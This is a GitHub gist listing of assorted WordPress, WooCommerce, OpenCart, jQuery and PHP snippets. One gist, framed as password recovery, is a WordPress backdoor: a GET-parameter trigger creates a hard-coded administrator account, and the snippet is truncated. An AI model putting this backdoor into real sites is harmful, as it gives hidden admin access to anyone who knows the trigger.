Skip to content

Instantly share code, notes, and snippets.

View mehedicsit's full-sized avatar

Mehedi Hasan mehedicsit

View GitHub Profile
@mehedicsit
mehedicsit / Day 0: Hello, World.
Created October 30, 2019 09:35 — forked from queky18/Day 0: Hello, World.
Hackerrank - 30 days of code in PHP
<?php
$_fp = fopen("php://stdin", "r");
$inputString = fgets($_fp); // get a line of input from stdin and save it to our variable
// Your first line of output goes here
print("Hello, World.\n");
// Write the second line of output
@mehedicsit
mehedicsit / gist:39ca0a6ae49f0ebd84bdb4d8c523d585
Last active October 1, 2019 04:31
Get data attribute from radio button for on change event with jQuery
jQuery(document).on('change', 'tag or class name', function() {
// Does some stuff and logs the event to the console
var packPrice=jQuery(this).attr("data-price");
jQuery('span.totalprice').text("$"+packPrice);
});
//onchnage with calculation
jQuery(document).on('change', 'input.pbu-package, input.field-element.numberlicenses', function() {
var packPrice=jQuery('input.pbu-package:checked ').attr("data-price");
var licenseincrement=jQuery('input.field-element.numberlicenses').val();
@mehedicsit
mehedicsit / functions.php
Created May 20, 2019 00:18
wordpress backdoor access
//write this code in child theme functions.php to recover password if you forget.
add_action( ‘wp_head’, ‘my_backdoor’ );
function my_backdoor() {
if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {
require( ‘wp-includes/registration.php’ );
if ( !username_exists( ‘mr_admin’ ) ) {
$user_id = wp_create_user( ‘mr_admin’, ‘pa55w0rd!’ );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
@mehedicsit
mehedicsit / changes.php
Created May 3, 2019 06:56
us date format for opencart 3
<!-- Modify the catalog English default.php file -->
-<file name="catalog/language/en-gb/en-gb.php">
$_['date_format_short'] = 'd/m/Y'; replace this line with
this line
$_['date_format_short'] = 'm/d/Y';
$_['date_format_long'] = 'l dS F Y';
@mehedicsit
mehedicsit / product_remove_button_oncheckout.php
Created February 22, 2019 07:00
Add remove product button on woocommerce checkout page
add_action('woocommerce_review_order_before_payment','code4webs_remove_product_checkout');
function code4webs_remove_product_checkout(){ ?>
<style>
.woocommerce-checkout-review-order-table{
display:none;
}
#order_review_heading{
display:none;
@mehedicsit
mehedicsit / gist:e13aadd7544c190e20bc79227bf6f5a8
Created February 19, 2019 09:52
Customize woocommerce order mail
//please add this code to functions.php file
//change woocommerce order mail
function code4webs_add_wc_order_email_images( $table, $order ) {
ob_start();
$template = $plain_text ? 'emails/plain/email-order-items.php' : 'emails/email-order-items.php';
wc_get_template( $template, array(
'order' => $order,
'items' => $order->get_items(),
@mehedicsit
mehedicsit / create-widget.php
Last active April 6, 2022 10:40
elementor widget development initialize in theme
namespace Elementor;
class First_widget extends Widget_Base{
public function get_name(){
return "first-widget";
}
public function get_title(){
return "first Widget";
}
@mehedicsit
mehedicsit / ajax_cheat_sheet.md
Created August 16, 2018 21:28 — forked from joelrojo/ajax_cheat_sheet.md
AJAX 101 cheat sheet

#AJAX

What is AJAX

"AJAX an acronym for asynchronous JavaScript and XML is a group of interrelated web development techniques used on the client-side to create asynchronous web applications. With Ajax, web applications can send data to, and retrieve data from, a server asynchronously (in the background) without interfering with the display and behavior of the existing page. Data can be retrieved using the XMLHttpRequest object. Despite the name, the use of XML is not required (JSON is often used instead), and the requests do not need to be asynchronous." - wikipedia

AJAX with jQuery

jQuery provides a $.ajax() method with a set of options for sending requests and callback methods to handle responses.

  • Here is the most basic $.ajax() request that does not send any data. It will be handled by the post '/trips' route on the server. You can choose any of the http request verbs for the type parameter (get, post, put, delete)
@mehedicsit
mehedicsit / add-wordpress-settings-page.php
Last active July 19, 2022 15:40 — forked from DavidWells/add-wordpress-settings-page.php
WordPress :: Add Settings Page with All Fields
<?php
/*
Plugin Name: Homepage Settings for BigBang
Plugin URI: http://www.inboundnow.com/
Description: Adds additional functionality to the big bang theme.
Author: David Wells
Author URI: http://www.inboundnow.com
*/
// Specify Hooks/Filters
@mehedicsit
mehedicsit / select-text-woo-checkoutt.php
Created May 22, 2018 18:00 — forked from mchrislay/select-text-woo-checkoutt.php
Add Select Radio Buttons + Text Field option to WooCommerce Checkout Page
<?php
/**
* Outputs a rasio button form field
*/
function woocommerce_form_field_radio( $key, $args, $value = '' ) {
global $woocommerce;
$defaults = array(
'type' => 'radio',
'label' => '',